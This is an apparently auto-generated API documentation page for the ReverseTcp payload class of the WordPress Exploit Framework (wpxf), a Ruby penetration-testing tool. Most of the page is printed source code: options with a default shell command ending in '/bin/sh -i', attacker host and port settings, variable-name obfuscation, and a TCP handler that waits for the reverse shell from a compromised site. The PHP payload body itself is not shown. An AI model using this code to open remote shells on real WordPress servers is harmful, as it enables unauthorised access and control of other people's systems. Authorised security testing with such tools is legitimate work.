Class: Wpxf::Payloads::ReverseTcp
Overview
A basic reverse TCP shell written in PHP.
Instance Attribute Summary
Attributes included from Options
#datastore, #options
#queued_commands
Instance Method Summary
collapse
#execute_queued_commands, #start_socket_io_loop, #start_socket_read_loop, #start_socket_write_loop
Methods included from Options
#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option
Methods included from Wpxf
app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version
#check, #encoded, #enqueue_command, #escape_single_quotes, #generate_vars, #php_preamble, #random_var_name
Constructor Details
Returns a new instance of ReverseTcp.
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 12
def initialize
super
register_options([
StringOption.new(
name: 'shell',
required: true,
default: 'uname -a; w; id; /bin/sh -i',
desc: 'Shell command to run'
),
StringOption.new(
name: 'lhost',
required: true,
default: '',
desc: 'The address of the host listening for a connection'
),
PortOption.new(
name: 'lport',
required: true,
default: 1234,
desc: 'The port being used to listen for incoming connections'
),
IntegerOption.new(
name: 'chunk_size',
required: true,
default: 1400,
desc: 'TCP chunk size'
),
BooleanOption.new(
name: 'listen_with_wpxf',
default: true,
required: true,
desc: 'Listen for an incoming connection using WPXF'
),
StringOption.new(
name: 'bind_to_address',
default: '0.0.0.0',
required: true,
desc: 'The address to bind to when listening for connections'
)
])
end
|
Instance Method Details
#bind_to_address ⇒ Object
71
72
73
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 71
def bind_to_address
normalized_option_value('bind_to_address')
end
|
#cleanup ⇒ Object
146
147
148
149
150
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 146
def cleanup
self.queued_commands = []
@network_thread&.exit
@server.close if @server && !@server.closed?
end
|
#client_connected(socket, event_emitter) ⇒ Object
97
98
99
100
101
102
103
104
105
106
107
108
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 97
def client_connected(socket, event_emitter)
Wpxf.change_stdout_sync(true) do
port, ip = Socket.unpack_sockaddr_in(socket.getpeername)
event_emitter.emit_success "Connection established from #{ip}:#{port}"
start_socket_io_loop(socket, event_emitter)
socket.close
@server.close
puts
event_emitter.emit_info "Closed reverse handler on port #{lport}"
end
end
|
#constants ⇒ Object
75
76
77
78
79
80
81
82
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 75
def constants
{
'ip' => host,
'port' => normalized_option_value('lport'),
'chunk_size' => normalized_option_value('chunk_size'),
'shell' => shell
}
end
|
#host ⇒ Object
59
60
61
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 59
def host
escape_single_quotes(datastore['lhost'])
end
|
#listen_with_wpxf ⇒ Object
63
64
65
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 63
def listen_with_wpxf
normalized_option_value('listen_with_wpxf')
end
|
#lport ⇒ Object
67
68
69
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 67
def lport
normalized_option_value('lport')
end
|
#obfuscated_variables ⇒ Object
84
85
86
87
88
89
90
91
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 84
def obfuscated_variables
super +
%w[
ip port chunk_size write_a error_a shell pid sock
errno shell pid sock errno errstr descriptor_spec
process pipes read_a error_a num_changed_sockets input
]
end
|
#post_exploit(mod) ⇒ Object
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 128
def post_exploit(mod)
return true unless listen_with_wpxf
if @session_started
begin
@network_thread&.join
rescue SignalException
puts
mod.emit_warning 'Caught kill signal', true
end
return true
else
mod.emit_error 'A connection was not established'
return false
end
end
|
#prepare(mod) ⇒ Object
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 110
def prepare(mod)
return true unless listen_with_wpxf
begin
@server = TCPServer.new(bind_to_address, lport)
rescue StandardError => e
mod.emit_error "Failed to start the TCP handler: #{e}"
return false
end
mod.emit_success "Started reverse TCP handler on #{lport}"
@network_thread = Thread.new do
socket = @server.accept
@session_started = true
client_connected(socket, mod)
end
end
|
#raw ⇒ Object
93
94
95
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 93
def raw
DataFile.new('php', 'reverse_tcp.php').php_content
end
|
#shell ⇒ Object
55
56
57
|
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 55
def shell
escape_single_quotes(datastore['shell'])
end
|